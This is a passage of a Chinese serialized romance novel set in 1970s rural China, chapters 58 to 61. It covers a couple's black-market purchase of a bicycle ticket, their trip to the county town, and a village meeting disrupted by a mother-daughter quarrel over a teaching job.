游雾州也觉得她那样子很不计后果,还很危险,他对余阿娘添油加醋道:“我都怕她刀没拿稳,砍到自己了。” 余阿娘想想那画面,站起来抄起旁边的掃把,朝着余银就要砸去,但被游雾州拦住了。 “咱不动手啊娘,说她两句长长记性,就管。”游雾州举着掃把,挡在余银面前说道。 扫把被人拦着,余阿娘也看不到余银一点,被人遮得严严实实。 余阿娘顿时反应过来,她冷哼一声,斜了游雾州一眼,让她唱白脸,他去做好人,可真行啊。 她扔下一句,“余银都结婚了,我当娘的也不好再管教她了,我回屋歇会去。” 说完,余阿娘就走了,留下余银和游雾州面面相觑。 第58章 第58章准备带着余银去学校 余阿娘出去后,两人保持了相当一段长时间的沉默。 余银低着头,手在膝蓋上放着把玩,不知道再想些什么。 游雾州则就那样靜靜地坐着,是不是垂眸看余银一眼,可惜看的那人头就没抬起来过。 两人都不肯先开口说话,也都不曾离开打破僵局,他们似乎在沉默中僵持。 余银终于受不了这种沉默了,她率先开口:“你还有什么要说的嗎?” 游雾州坐的端正,手却有一搭没一搭的轻敲着木倚,问她:“你就没什么想说的嗎?” 余 银就是被他那敲着木倚的动作,搅乱了心神,惴惴不安着。 她有些微愣的问游雾州:“说什么,我娘不是都说了啊。” 她娘不都说了,她还要在说些什么? 游雾州慢悠悠转过头,轻飘飘地看了余银一眼,但不说话。 余银被那一眼看的有些微妙,她试探的开口:“是我给你们关家里,自己拿着刀出去这事吗?” 她低眉顺眼,一副认错的态度,“那确实是我太冲动了,当时脑子一热,就什么也考虑不到,只想着把你们关屋子里,不讓他们看到你们。” “可我是一个身強力壮的男人。”游雾州斜她一眼。 “我知道。”余银撇了下嘴角,有些心不在焉的扯着:“这不是没想那么多吗,而且你看到了她们有多无赖,要是你独自出去,都被撕吃了给。” 余银其实也就是拿着刀威慑一下,真要不行就再说不行的事,当时确实没想到过游雾州,心里只有她和她娘两个人在家。 可能她潜意识里也没吧游雾州当成一家人。 游雾州也不想就这这个话题跟她扯下去了,她一副认错的态度,你说啥她就听着,可真听没听进去,只有她自己知道。 “你以后有什么事,可以试着把我也考虑进去,余银。”游雾州说。 余银十分诚挚地点点头。 游雾州覺得他这会儿跟余银说话,就像一拳打在了棉花上,软绵绵的,没一点劲儿。 他揉了揉突突跳的额角,在心里默默叹了口气。 算了,下次他再多注意点就是,可是想了想,还是别有下次了。 今天都要被余银吓坏了,他那会明明看到了那抹银光,却没往下深想。这也主要怨他,他没第一时间问余阿娘,也没第一时间往深处想,去阻止余银。 更甚因为他依旧不夠強大,不能夠强大到讓没人敢来余家放肆。 可是他现在需要顾虑的有些多,做事也有些放不开手腳。 “你没事了,我回屋去了啊。”余银站起来,举起胳膊伸了个懒腰,问他。 游雾州回过神来,嗯了声,“你先回屋,我去给大门锁了。” 余银打着哈欠从堂屋出去,但没回自己屋,而是去了余阿娘屋里。 她娘那肯定吓坏了,还待哄哄啊- 余阿舅和王桂香他们是第二天下午回来的,因为离得有些远,消息也没传那么快,但他一到杨柳村,就被告知了。 余阿舅当时就一个头两个大,想把余银狠狠训一顿,讓她涨涨記性,又想趕紧去找村长,还要好好感谢村里人。 最后训余银的事,还是放到了晚上。 余银也知道余阿舅回来,少不了一顿训,也就老老实实地等着余阿舅。 她的态度十分诚恳,低眉顺眼的,余阿舅没说两句就放过了她。 游雾州在一旁看着,心里有些不是滋味,这家里怎么就没一个,能让余银听了記在心里的。 那拿着刀冲出去多危险的事,都是两句帶过就不管了? 她这样能长记性吗,下次遇见事了还胆子这么大? 游雾州越想越覺得不能这样,那个赵大腳也有可能不会放过余银,那话也有可能是碍于人太多,她不得已才那样说的。 而且她妹子不把女儿给她,她再回过头缠上余银怎么办。 他思来想去,想到了一个好主意。 游雾州开口道:“阿舅,咱家要买自行車的话,自行車票大哥那有,他走的时候跟我说过等他到了部队,就给寄过来的。” “我约摸着这几天票也該到了,我帶着余银去看看自行車。” 余银听到他说这话,看了游雾州一眼,但没发表意见。 “錢不能你自己出,小游。”余阿舅说:“你手里也没几个錢,再说,这自行车是我提出来的,不能叫你一个人拿錢。” 游雾州笑了笑,说:“阿舅,我跟还有点钱,再说平时也花不了多少,那自行车票还是大哥给的,我也没出多少钱,而且老师也有工资的。” 他说完,余阿舅目光看向他姐余阿娘。 余阿娘对着游雾州温和的笑了下,说:“小游,你是不是把我们当外人了?没当最一家人啊。” 这话说的,游雾州连忙摆手,“娘,你说的那里话,我就是,就是——” “就是什么?”余阿娘皱眉,其他几个人都看着游雾州。 只见游雾州有些不好意思地说,“我去学校的时候,想把小鱼儿也带着跟着我一起,那赵家人我怕一时他们也不放弃。小鱼儿跟着我,等学校再招老师的时候,看看能不能把她也推进去。” 余银听完,瞪大了眼睛盯着游雾州,她没听错吧? “这感情好,我当是为啥啊。”余阿娘笑的灿烂,“你带着小鱼儿我放心,也正好让她避避,这好,这好。” “嗯,不错。”余阿舅也觉得可以,“小鱼儿还上过高中,那柳盼娣都考上去了,咱小鱼儿跟着小游一起,等啥时候学校再招老师了,我再找找关系,她也能进去当老师,拿工资。” “是嘞。”王桂香也跟着点头,“夫妻两个一块在学校教课,到时候有个娃娃也好带。” 大家都觉得这个提议很好,游雾州嘴角微微翘着,可见他的心情也很好。 所以等到余阿娘说:“买自行车我出一百,不是白出,你反正当了老师有工资,慢慢还我就是了,这样你们手里也不至于太拮据。” 游雾州身上有钱,但财不外露,他也不能说有很多钱,就應了下来。 买自行车的事,就这样敲定下来了。 回屋后,余银洗完澡没上床,搬了小登子,就坐在那等着游雾州。 游雾州进屋准备洗澡的时候,看着余银就坐那等着他,眼神还有些幽怨。 他站在门口那默了默,拿了洗澡盆,走近余银,“怎么有点不高兴啊?” 余银的眼神更加幽怨,她问游雾州:“你怎么不跟我商量一下,就说让我跟你一起去学校。” 她竟然是和余阿娘她们一起在饭桌上知道的。 游雾州摸了摸鼻尖,拿起挂着的毛巾,“话趕话就到那了,我怕自行车票的事露馅,就想到了把你带着跟我一起去学校,也免得那些人再找麻烦,让娘和舅操心。” 他知道余银不想让余阿娘和余阿舅,因为这件事操心。 也果然不出所料的,余银没再说话了,只是在他拿完衣服,要走的时候,就见她有些为难的说:“要是找到你学校闹怎么办啊?” 余银的担心不是没有道理,游雾州也考虑过了,但他不会给赵大脚这个机会的。 他朝余银笑了笑,一副云淡风轻的模样,“想那么多做什么,他们那天自己人都没拢住,还且等着再来找事呢。” 余银见他这样,心也安了下来。她从椅子上站起来,椅子太低,她起来的时候扶了下腰,说道:“那你赶紧洗吧,洗完再咱俩再说一下票的事情怎么弄。” 游雾州嗯了声,拿着东西去打水了。 等游雾州洗完澡,余银在床上躺的已经有些昏昏欲睡了。 她打着哈欠,“你回来了?” 游雾州关上门,熄了灯,摸着黑往床边去,轻声道:“困了怎么不先睡,明天醒了再说,我又不会跑。” 余银听着他上床掖蚊帐的动静,揉了揉眼睛说:“还行,不是特别困。” 说完,就又连着打了两个哈 欠。 游雾州低笑一声,“睡吧,我到夜里去起来看看那地方,等你醒了再说吧。” 余银有些无语,想说不困,可是哈欠一个接一个的打,她自己都没有嘴上说着不困的信服力。 余银只好作罢,声音可能因着打哈欠,有写含糊:“那成吧,明天再说。” 说完,她调整了一下姿势,不过片刻,平稳的呼吸就传进了游雾州耳边。 游雾州勾了勾唇角,握着余银手,然后将她搂近怀里,也闭上眼睡觉。 只是,没睡多久,他就睁开了眼,透过窗户看着还没泛白,黑漆漆的天色。 游雾州手脚动作放的极轻,慢慢从床上起来,生怕吵醒了一旁睡着的余银,甚至走的时候,隔着些距离,在她额头的位置,轻轻落下一个吻。 他不知道那所谓的黑市是几点开始到几点结束,但估摸着應当是夜深人静时,和天亮之前,这两个点应該都在。 游雾州不知道现在几点,他从屋里出来,看着被云蓋着的天色,估摸着这会儿,也够他去个来回摸清情况,天也不会亮。 他轻呼出一口气,走到后院一墙角的位置,动作熟练的翻出去,朝外村外走过去…… 第59章 第59章买到自行车票了 游雾州回来的时候,即便他轻手轻脚的上床,余银还是察觉到了。 但她自己都不知道是真醒了,还是在做着夢,眼都没睁开,余银往里睡了点给他腾位置,嘴里说着话,“天亮了没。” 游雾州躺在她腾的位置里,身子下面是一片温熱,从他的后背透过他的心脏。 他没靠着余银,反而是安安静静地躺在那,低声说了句,“还早,再接着睡会吧。” 余银迷迷糊糊以为自己是在夢中,应了一声就接着睡了。 等她又睡了一会儿,听到旁边人起床的动静,“天亮了?” “嗯,你不想起再睡会儿。”游雾州手在被子上,刚掀开一角。 余银觉得这话有些耳熟,她好像做夢梦到过了,但又觉得好像是发生过一样。 她撑着身子坐起来,被子从她身上滑落下来,这次她半睁着眼,问游雾州:“刚才的话好耳熟,你回来的时候,我是不是跟你说过一次啊?” 游雾州微愣一下,然后笑着嗯了声,“还以为是在做梦?” 余银一只手举起伸懒腰,一只手捂着嘴巴打哈欠,然后道:“我还以为我是做梦呢,你去了怎么样,危险不危险啊?” “还成,就跟街上其他买東西的一样,不过都是摆摊。”游雾州想了想他去黑市这一趟,跟余银这么解释着:“不是很危险,可能我運气挺好,没遇到被查。” “那就好。”余银松口气。 她见着游雾州人在面前,就猜料到人是没事,但他去黑市那一趟,也不知如何,看他这样说的话,也放心不少。 “以后尽量还是不去了。”游雾州想了想又道:“算了,没有以后这事儿。” 闻言,余银清醒了不少,“那地确实不安全,你去出什么了事了吗?” “我没事。”游雾州摇头道:“只是毕竟是投机倒把的事,運气也不是一直有的,以后还是正规渠道买東西吧。” 他认为运气是用一次少一次的,人不能永远都对不确定的抱有侥幸心理,或许真的有人运气一直很好。 但他游雾州不是,这次是侥幸,他还是小心为好,日子还长着等他过呢。 余银也确实知道,那投机倒把一旦被抓到什么下場,而且很有可能还会连累他们家。但毕竟事是游雾州做的,她自己也没拦着,算是默认同意了。 她点着头道:“咱们也就这一次了,昨晚不管你买了没,都没有下次了。你要是没买,我就给哥写信,他指定能帮咱们弄到自行車票。” 票买没买不重要,重要的是那地方千万不能再去了,一旦被人知道了,后果不堪设想。 她胆子不小,但也实在不大。 游雾州低笑道:“不用麻煩哥了,我昨晚順边就买了一张,就这最后一次了。毕竟去都去了,不买点東西,实在是对不起我去那一趟。” 这年头自行車可谓“一货难求”的物件,每个生产的工厂也没多少买单車的指标,而且有钱还不能够买車,还要先有票。 她不知道游雾州是花了多少钱在黑市里买来的,这東西不好弄,但价钱绝对是不低的。 游雾州不说,余银索性也不问,她有些无奈,“我想着你说就去看看的,不过也是,那危险的地方,去都去了,反正就那一次,不买点什么也确实是说不过去。” 游雾州道:“那咱等会就去縣城买自行车?” 余银侧身看了一眼窗户外的天气,天透亮透亮的,一点都不闷沉,看样子是个艳陽高照的好天气。 走到半路被大太陽炕着,还要再赶着正熱的时候再骑车回来。 她摇摇头,“明天早点起来吧,这会去,到半路上要给咱俩熱死了。” 又补充道:“我娘要是给钱了,你就收着,东西不是小东西,而且娘给的钱也是你的钱,你不收我就收了。” “知道了。”游雾州应到,而后,也看了眼天,知道她怕熱,就也作罢,冷了可以多穿,热了人总不能把层皮涼快。 “那明天咱们早点去縣城。”游雾州一边下床一边道。 两人起床的时候多唠了会,往前院走的时候,余阿娘他们刚好吃完饭,看着头一次游雾州晚起来。 余阿娘笑眯眯地多看了他们两眼,弄的余银还挺不好意思的。 吃了饭,余阿舅过来说:“你们吃完去縣城一趟,把自行车买了吧,再买点东西回来。” 余阿娘把准备好的大团结搁在桌子上,“村里人那么帮咱,也该买点东西,正好你们去邮局一趟,也順帶买点东西。” 余银记得昨晚说的是这几天应该会到,怎么今天就讓去看看自行车票寄到了没,她问道:“那要是去了自行车票没回来怎么办?” “不会的,我估计都在邮局搁两天了。”余阿娘笑吟吟地说:“你又不是不知道你哥这人。他说要给咱自行车票,回来的没帶回来,估计还在讓同事弄,这么些天,我估计也早到了。” 余银汗颜,她不知该如何应答,将视线看向游雾州。 游雾州面色如常,接着余阿娘的话往下说,“那我们就去縣城走一趟,不过主要还是买东西,村里人带好好感谢他们。” 余阿娘把钱塞给游雾州,“去吧,中午你们就在县城里国营饭店吃一顿吧。” 余阿舅点头,“别急着回来,中午吃了饭再回来,天热,不吃点东西,容易中暑。” 游雾州和余银点头,又回屋拿了钱,和余阿娘他们告别,然后往县城去了。 也幸好他俩没睡到大太阳照着起来,游雾州走的时候还拿了把蒲扇,余银还好奇他拿这个路上还要扇风不成。 谁成想,还真是讓她扇风的,不过快到的时候太阳太大了,扇的风也是热的,游雾州让余银拿着蒲扇挡臉,没那么炕。 要是只买东西,他们在去往县城的路上,在鎮子上公社买就成,可是他们还要买自行车,必须要往县城去。 也幸好他们趁着早上那会加快脚步赶路,要不然这会还有快一半的路程,余银肯定是一点都不想走了。 等终于到了县城,两个人衣服都汗了,余银身上被汗浸的黏糊糊的,有些莫名的煩躁。 游雾州也没好到哪去,还穿的板板正正,白衬衫内还穿了老汉背心,余银走他身后,看着那烈日照得他衣服的健硕身材,一览无余。 本来余银就被热的有些烦,他们应该先去买了自行车,然后再去买东西,这样顺路就直接回去了,可是游雾州走到供销社门口时,却停下了。 余银有些不耐烦,“等会拐回来买吧,我现在不想拎东西。” 游雾州抿了抿唇,让她站在房檐太阳晒不到的地方,“等一下,很快的。” “每次都是说等一下,和很快,哪次是你说得这样。”余银想都没想,脱口而出的话,瞬间又觉得不对,她赶紧转着头四处张望。 她说完,更觉得有些热了,但却将那股烦躁往下压了压,摆手道:“你去吧,你去吧。” 游雾州也看了眼四周,而后深深的看了她一眼,有些复杂,也有些晦暗不明。 让余银都有 些紧张起来了。 她试图转移注意力,伸着头,看着供销社里的人还不少,感叹道:“人好多啊。” 游雾州也没想跟她在大庭广众之下,讨论这些,轻咳一声:“这次是真的,稍微等我一下。” 余银装模作样的把扇子挡在臉前,“啊,啊,你快去吧,赶紧的。” 等游雾州走了后,扇子后的余银呼吸都快喘不上来了,一张脸红和菜地里熟透的蕃茄有一拼了。 她那会都脱口而出的啥话啊! 余银在那确实没等一会,一个冰冰涼凉的东西,往她的脸上靠近,冷的她瑟缩了一下。 “什么啊?”余银拿开扇子,看着游雾州拿着两个冒着冷气的东西,有些惊喜道:“是冰棍,你怎么不早说进去卖冰棍啊。” 游雾州把冰棍递给她,“天这么热,就想着给你买个冰棍凉快下。” 余银咬了一口,眯着眼忍不住感叹:“真好啊。” 冰冰凉凉的一口冰棍下肚,那股热浪带来的烦躁,也瞬间消失的无影无踪。 游雾州见她高兴一点了,心里也跟着高兴起来。 “等会回去的时候,给虎丫余庆们也买个吧。”余银说着。 “那等到鎮上的时候买。”游雾州解释道:“天太热了,买的早了容易化。” 余银想了想也是,“那就回去经过镇上的时候买。” 提到去镇上,余银不知道为何想到了周华锦。 那天在村子里又见到他,到底是她做的一場梦,还是真实发生过的。 余银不得而知,但她其实更偏向于那是一场梦。现在的生活挺平静的,她知道结局,过程什么样对她来说也并不太重要了。 而且她和游雾州的过程,想的太清楚弄的太明白,有时候也不一定会是一件好事,过日子,总是要稀里糊涂地才能过下去的。 而且那如果不是梦,周华锦再来找她,余银可能真的会动摇,那这平静的生活,就必须要被打破了。 她其实还没有勇气去面对。 卖自行车的地方离供销社不远,冰棍才刚吃完就到了。 其实自行车也没什么好挑的,而且县城的自行车也不多,也就那几个牌子,没得挑。 到门口时,余银拉了拉他的衣服,悄悄问道,“你弄那票,上面是什么牌子的,不管啥牌子,有车就行了,不挑的啊。” 游雾州点了点头,把票从上衣口袋里拿出来,递给她,“凤凰牌的自行车。” 余银也知道这个牌子的车,可不是便宜货,车子质量也好,微微惊叹了一下,对游雾州说:“你可真有能耐,能从那买来这可好东西,真厉害啊。” 游雾州对她这个反应,怎么说呢,大概天底下没有几个男人,能拒绝自己的媳妇夸他厉害和有能耐。 这让他顿时干劲十足,虽说票是黑市里淘的,但余银没在意,还是觉得他厉害。 游雾州嘴角翘起,他其实还买了块手表的票子,但他准备在余银生日的时候,送给她。 余银是在冬月的生日,其实算下来也不远了。 想到余银收到表的时候,会是什么样子,游雾州不由得有些好奇,也隐隐期待那天的到来。 第60章 第60章开会又闹起来了 自行车崭新锃亮的,好看极了。 也幸好家里有余阿舅和余金,两个有工作的,要不然買辆新的自行车,还有些不好解释。 他们推着车去買东西,余银看着那崭新的车,干净的黑色车轱辘上,因为挨着地走,粘了些尘土,但周围还是又黑又净的。她竟然有种想把车抬起来,不想让车轱辘沾地的冲动。 她压低声音,对游雾州道:“车新的我都不想让在地上走了。” 游雾州低头看了眼车轱辘,低声笑道:“确实新的不忍下地。” 買完自行车,办完手续,已经中午了,他们就没往供销社去,而是先准备去吃点飯,游雾州和余银在国营飯店门口停下脚步。 “你想吃什么?”游雾州问她。 余银看了一眼今天国营飯店里的菜,她要了一份酸湯餃子,天太熱了,时候那酸湯让她还有些食欲。 游雾州要了一份米飯和一份红烧魚塊,等饭菜上来,他把余银的餃子端她面前,又把那份红烧魚塊也推她面前。 他低声道:“尝尝怎么样?” 余银看了眼那魚,是草魚,刺很多的鱼。她夾了一塊放旁邊的小碟里,然后夾了好几个饺子,放在游雾州的碗里。 游雾州看着她碗里的饺子,都快一半给了自己,他作势就要还回去。 余银解释道,“太多了,我吃不完,想喝点里面的汤。” 说完,那块鱼她没急着吃,先去吃饺子,正吃着,小碟里的鱼被夹走了。 一块子看起来有些碎,但沾满了汤汁的鱼肉摆在那小碟里。 余银看向游雾州。 游雾走微抬下巴,示意她可以吃了。余银朝他笑了笑,低头吃了那块基本上没有刺的鱼。 吃完,她回头看了眼饭店里的人,悄声道:“你做这个更好吃。” 游雾州勾了勾唇,“等捕鱼的时候,给你做。” 两人吃饭都安安静静地,余银没吃多少,主要就喝了点汤,而游雾州挑了好几块鱼,饭都没咋动。 余银把那份红烧鱼块端到自己面前,把挑好刺的鱼都夹到游雾州的米饭上,“我来,我来,你赶紧吃饭吧。” 她已经吃饱了,就把剩下的几块鱼挑挑刺,都夹进游雾州碗里。 两人吃完饭,又在国营饭店買了几个肉饼,游雾州的目光看向余银,“现在去买东西?” 余银拿着扇子挡在额前遮着太阳。她抬眼望了望天,“赶紧去买吧,再等会还要更熱。” 供销店这会儿正是吃饭的时候,人不是特别多,买东西也不用怎么挤着排队。 余阿娘给了她们一些票子,买了糖,糕点,还有些桃酥,也没买很多,真要一家一样,余家也没那么大款,稍微意思意思就差不多了。 毕竟也都是钱和票子买来的。 游雾州把东西都挂在车子把上,他骑着车,余银坐在后面,他身形高大,正好还能给她挡着的大太阳。 余银手里也没拿东西,就一把扇子,她一手拽着车座防止掉下去,一手拿着那扇子扇着風。 她也不是只顾自己涼快的人,给自己和游雾州都扇着風,只是太阳实在太大了,那風倒也不是很涼快。 不过有总比没有强,余银手都累了,也没歇下来过。 镇上的冰棍也是从县城拿来的,用厚厚的棉被包着,怕化了,她们这会买的,依旧是冻的挺结实。 余银拿着那几个冰棍,涼凉的冻的很结实,她把冰棍搁在自己和游雾州的中间,扇子一扇,风凉丝丝地。 余银问游雾州:“是不是凉快多了啊。” 她感觉这样扇出来的风,比剛才的风要凉快的多。 游雾州回头看了她一眼说:“你自扇就行了,一直举着胳膊不累啊。” 余银弯着眼笑了道:“那你骑快点,咱们快点回去,这样我就熱一小会,冰棍也不化开。” 游雾州低头看了自己的腰,“那你搂着我,待会的路不怎么平。” 余银看了眼路上没什么人,索性就两只手向前,环抱着他的腰身。 在她抱上来的那一刻,游雾州的肌肉都紧了紧,他轻咳一声,“坐稳了啊。”- 骑到村子里的时候,就看到村民们乌泱泱地,聚在平时晾粮食或者开会的地方。 闹哄哄地不知道吵些什么。 余银想下去看看,游雾州让她下来了,但没让她往那次凑去。 “我去看看就回家。”余银眨眨眼。 “先回家。”游雾州朝那看了一眼,“咱们又是买东西,又是买自行车,还是低调点,先回家去。” 余银看眼那群人,又看眼自行车和东西,想了想也是,就拉着游雾州说,“那咱赶紧回家去,不然等会看见了,又要扯上半天,冰棍都要化了。” 俩人又赶紧回家把车停好,又把买的东西 放好,余银敲了敲王桂香屋里的门,见没人应,就说了句:“舅母,我进来了啊。” 又喊了几声,都是没人应,估计着应该也是在广場上,看了眼手里的有些化了的冰棍,推开他们屋进去。 就虎丫和余庆在那睡着,余银拿着冰棍在他倆脸上放上去,余庆一个激灵,半睁着眼,睁了好几下,他揉着眼睛,“姐,你回来了。” 那邊的虎丫睡的极香,冰棍到她那红扑扑的脸蛋上,等于给她降温,让她睡的更熟了。 余庆彻底睁开眼睛,看着那他一激灵的冰棍,瞬间清醒了,“姐,冰棍啊!” “就怕化了,你赶紧吃吧。”余银摸了摸他的头,转过身,去另一个床上叫虎丫。 虎丫虽然睡的熟,但把冰棍拆了放她嘴邊,人都还没醒过来,闭着眼把那根冰棍给吃完了。 余银被她给逗笑了。 还有三个,她怕化了给放厨房的碗里去。 游雾州这时候洗完澡,换了身衣服出来,看到余银,“水放屋里了,我先把衣服给洗了。” “行,我这就去洗。”余银手里拿着扇子,给游雾州猛的扇了两下,以表感谢,然后往自己屋里去了。 游雾州看着她的身影,不由得笑了起来。 等余银洗完澡,游雾州拿了她脏衣服去洗,顺便把洗澡水给泼到了菜地里去。 游雾州在给余银洗衣服,她就搬了个椅子做到旁邊,手里拿着扇子给他扇着。 自己的衣服人家给洗的,总不能什么都不敢,天这么熱,左右余银自己也要拿着扇子扇风。 只是她扇的不是特别快,但一阵一阵的风,倒也算得上惬意。 “咱们洗完衣服,去不去看?”余银边扇边问。 游雾州手劲大,衣服又不是脏,用着皂角,搓两下就洗好了。 他把衣服晾起来,问她:“他倆醒了没?” 余银想到他俩一个睡着觉吃完了冰棍,一个吃完了冰棍又去睡了,不由得笑了起来,“俩人这会都在睡,估计还有的睡呢。” 游雾州在她说话的空隙,把衣服都晾好,又端着水倒到了菜地去,这走来走去的。 余银就一直跟着他,额头上都热出一层薄汗了。 见状,游雾州朝她伸出手。 余银下意识地就把扇子给他了,毕竟自己手上也没其他的东西。 游雾州接过扇子,就对着两人扇,“你要不嫌热,咱们这会就过去看看?” 余银笑眯眯地看着他手里的蒲扇,摇摇头,“你扇的风真大,我一点都不热。” 怕他不信,摸了摸额头,结果摸到上面的汗,她睁着眼说瞎话,“这是我剛才洗脸,没擦干的水。” 游雾州扯了扯唇角,无奈道:“走吧。” 余银点点头,一本正经地说:“咱快走吧,等会散場了。” 游雾州也不知道余银怎么这么爱看热闹,但没结婚前,她不是一直都不出门,整日呆在余家屋里啊。 不过人也不能一直闷在屋里,看看热闹也好,至少她看了心情好- 另一边。 杨柳村的人原本都在那开会,广场上空荡的只能晒着大太阳,只有旁边才种了些书,有阴凉。 但人不少,大部分都在那晒着太阳,天气这么热,也没啥场面话,就把重点重点说一下。 主要是说这两天也不忙了,大家把粮食再晒一晒,然后就去交粮。 话才刚说完,底下的人就闹了起来,一群人挤在一起,又吵又闹的。 眼看着天本就热,人心也浮躁,余阿舅也怕等会誰在打起来了,大声呵斥道:“都干什么呢,散开散开。” 原本挤哄在一起人,开始骂骂咧咧的往旁边去,腾出一条路来。 柳盼娣趁机就挤开人群,冲到了村长和余阿舅身后,大声喊着:“救命啊,救命啊,我娘要杀了我啊,救命啊。” 王大花这边,正要也跟着挤过去,嘴里还嚷嚷道:“你个杀千刀了,老娘今不扒了你的皮,我就跟你姓了。” “你个小贱人,真是嫌自己活的太久了,上次给你打死,你又皮痒痒是吧。正好老娘今天有气没地撒,你过来来。” 正开着会,这样闹起来,村长和余阿舅脸色都一些不好看。 他们看着王大花,村长沉着脸道:“大牛媳妇,你这是要干什么?” 王大花嘴里正骂骂咧咧,被村长这一说,顿时老实了,她咬着牙看了一眼柳盼娣,“村长,盼娣她有点不听话,我就是管教一下。” “村长她胡说,她要打死我。”柳盼娣躲在余阿舅身后,说道:“她还把我农场老师的工作,给了他弟弟的儿子,我说那是学校做主,她以为我不愿意,是真要把我打死,再把工作给别人。” 村长一听这,脸顿时黑如锅灰,“大牛媳妇,你家盼娣说的是不是。” 王大花讪笑道:“这不是她一个快出嫁的姑娘家家,那都是给别人家的。她要那老师工作做什么,还不如给我那外甥,便宜了自家。” “你,你!”村长手指抬起,指着王大花,“那是誰考上是谁的,你说给就给了,你当那是菜地里不要的菜啊,谁想要就是谁的。” 王大花不以为意,“工作啥的不是可以给吗,我又是给的自家外甥,没给别人村长。” 村长也知道工作可以给,但这是很多人考试得来的,要是随便给了,恐怕有些不好交代。 柳盼娣一听就觉得不好,她差点忘记这个时代工作,是可以买卖的。 余阿舅听她那话,脸黑沉沉的,那老师的工作,是那么多人一起考的,这个王大花还真是当那考试是儿戏啊。 还有她弟弟家那儿子,那是个什么货色,她还真敢给啊。 他在一旁提醒村长,“她那外甥要真去了学校,咱们村估计都会被连累。” 村长一听这,顿时挺起身板,“这工作不行啊,大牛媳妇,你——” 他这话刚说完,余阿舅就示意他抬头,看到了大马路上来的人。【你现在阅读的是 】 60-70 第61章 第61章游雾州的成分问题 在村长话还未说完的时候,有这么几个人,正朝着他们过来。 而且是正对着余阿舅和村长的脸,正是农場学校校长,还有一个老师。 余阿舅看了一眼村长,有些不明情况,而村长也是一脸不明所以。 “余大隊长,柳村长。”吴老师朝他们走过去。 余阿舅和村长有些惊讶道:“杜同志,吴同志,你们怎么过来了。” 他们不想讓村民知道这两人是农場的校长和老师,尤其是不想要王大花知道,才故意喊得同志。 他们过来的时候,大家都在用眼神打量着他们,心里都以为是哪里来的領导。 杜校长面色严肃,看了一眼那么多人,“换个地方说吧,余大隊长,柳村长。” 余阿舅和柳村长自然也不想在这聊,当即就要带着往别处走。 偏偏王大花是个不长眼的,那柳盼娣又是个精的。在王大花趁着余阿舅他们离开时,准备把柳盼娣好好收拾一顿。 谁料柳盼娣一个滑跪到杜校长和吴老师面前,她一邊打量,一邊一把鼻涕一把泪地哭诉,“村长,大隊长,救命啊,我娘真要打死我了,讓她外甥去学校当老师啊,那人大字不识,不能误人子弟的。” “哎呦,家里丫头脑子不正常,见笑了。”王大花咬着牙笑道,“我这就带她走。” 她没逮到柳盼娣,也知道不能讓柳盼娣在那瞎说,就要上前给她拖走,谁知道她蹭的一下,就拽着那杜校长的褲腿不撒手。 王大花又上前去掰柳盼娣的手,谁知道柳盼娣低头就咬了上去。 “啊!你个贱蹄子,赶緊给老娘鬆开。”王大花嗷嗷叫着。 柳盼娣咬死不鬆,杜校长的褲子都快被拽掉了,他的手緊緊攥着褲腰。 吴老师瞪大了眼睛,有些不敢相信,余 大队长和村长脸色难看至极。杨柳村的其他村民站在那笑着看热鬧。 场面一时混乱至极,群众的眼睛都不知道该看谁了。 余阿舅和村长赶紧去把柳盼娣和王大花扯开,村长劝道:“鬆口,快盼娣。” 柳盼娣咬着王大花的手不鬆,声音从牙缝里挤出来,“除非你给我做主。” 说完,看着村长,手还拽着杜校长的裤子扯了扯。 村长恨不得当时晕过去了,这丫头也太大胆了,真给人裤子拽下来,那还得了啊。 他连忙点头应着,“好好好,我给你做主,给你做着,你快松开。” 王大花一听要松开,嘴里还在骂骂咧咧,“你个小贱人,还敢咬老娘,你等着,我王大花今不打死你,你来当我老子娘。” 村长一个头两个大,柳盼娣在松开之前又狠狠咬了一口。 她连忙摸了把嘴角的血迹,动作很快的躲在村长后头,“村长你可不能说话不算话,待给我做主啊。” 余阿舅赶紧把挣扎着要冲上去的王大花,往旁边狠狠一扯,虎着脸,没好气的说:“像什么样子啊,大牛人呢,赶紧把你媳妇给我带回家去,鬧的像什么话这是。” 他本来就不是面善之人,身上还有着有些骇人的威严,王大花被吼愣在原地,不敢动了,柳大牛赶紧从人群里走出来,去拽王大花离开。 余阿舅顿时朝着杜校长,微微抱歉的道:“杜同志,真是不好意思,让你看笑话了。” 杜校长脸色有些不好看,但却摆摆手。 他和余阿舅关系挺好的,这事主要也不赖余阿舅,没必要牵扯到他身上。 不过剛才听到他们说的老师,又听到“柳盼娣”这个名字,他问余阿舅,“这是那为柳盼娣柳同志?” 柳盼娣没等余阿舅回答,自己就从村长身后探出脑袋,“您好,我是柳盼娣。” 杜校长这才上下打了柳盼娣一番,微微点头,“换个地方说话吧。” 余阿舅对着村民们说:“都散了吧。” 杜校长又道,“游雾州游同志也一起叫过来。” 余阿舅眼神一闪,说道:“他今去镇上了,不知道这会儿回来没,等他回来,我转达给他就是。” 他回头看着余阿娘和王桂香道:“小游待会回来了招呼一声,让他来村长家一趟。” 杜校长见状,思索了一下,“也好,那咱们过去吧。” 几人朝着村长家走去。 一起跟着柳盼娣看了一眼散开的人群,而后,忍不住有些懊恼自己剛才的行为。 这两个人一定是农场学校的老师,说不定还是主任或者校长,她剛才太粗鲁实在是。 她要好好想一下,怎么就扭转一下印象。 而前来看戏的余银和游雾州,过来的时候,正好人都要散完了,连她娘和舅母都没看着。 余银叹了口气,“咱们还是来晚一步了。” “回去让娘给你講講吧。”游雾州说道:“看样子散了有一会儿,咱们估计刚到家没多久,就结束了。” 余银垂着头,嗯了一声,“走吧,回去让娘给讲讲吧。” 他们刚来就又回去了,不过走到半路,就碰上了来找他们的余阿娘。 余阿娘笑道:“我就知道你们估摸着是去广场那了。” 余银眼神蹭的一下就亮了,往余阿娘跟跑过去,“快,跟我说说,刚才广场呢咋回事啊。我俩回来的时候瞧见鬧哄哄的,游雾州怕新买的自行车和东西太招眼了,就回家没去看。” “你啊。”余阿娘轻点了一下她的额头,“就是柳大丫跟她娘闹起来了,那王大花不知道怎么想的。把大丫老师的工作,给了她娘家大哥的孩子,那大丫哪能願意,就在开会的时候闹起来了。” “什么?”余银惊叹,“那老师可每个月有钱有粮拿啊,她还真给了,而且她那大哥肯定也没给她钱,白要过去了。” “可不是嘛。”余阿娘说道:“她多精一人,一对上娘家就是个拎不清的,自己女儿的好工作不要,给了娘家的孩子,也不知道她咋想的。” “又不是对她多好多好的娘家,听桂香说,每次回去她连吃饭,都是站在那灶房里吃的,还尽贴着脸上赶着。” 